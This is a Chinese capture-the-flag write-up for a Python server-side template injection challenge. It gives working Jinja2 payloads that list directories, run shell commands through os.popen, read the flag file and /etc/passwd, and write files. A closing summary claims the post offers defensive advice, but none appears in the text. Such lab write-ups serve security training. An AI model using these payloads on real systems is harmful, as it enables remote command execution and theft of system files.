题目

解题
1、题目提示为python模板注入
猜测这里是SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
2、测试一下
http://111.200.241.244:53038/{{1+1}}

经过该测试,说明存在SSTI
3、那么接下来可以使用相关payload进行验证
(1)payload1
查看所有模块
http://111.200.241.244:53038/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

(2)payload2
查看当前目录,发现存在fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

(3)payload3
读取fl4g文件
http://111.200.241.244:53038/{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
或
http://111.200.241.244:53038/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

(4)其它payload
读取文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

写入文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
本文详细解析了Python服务器模板注入(SSTI)漏洞,展示了如何通过payload测试、发现敏感信息并利用它来读写文件,同时提供了安全防范建议。
1921

被折叠的 条评论
为什么被折叠?



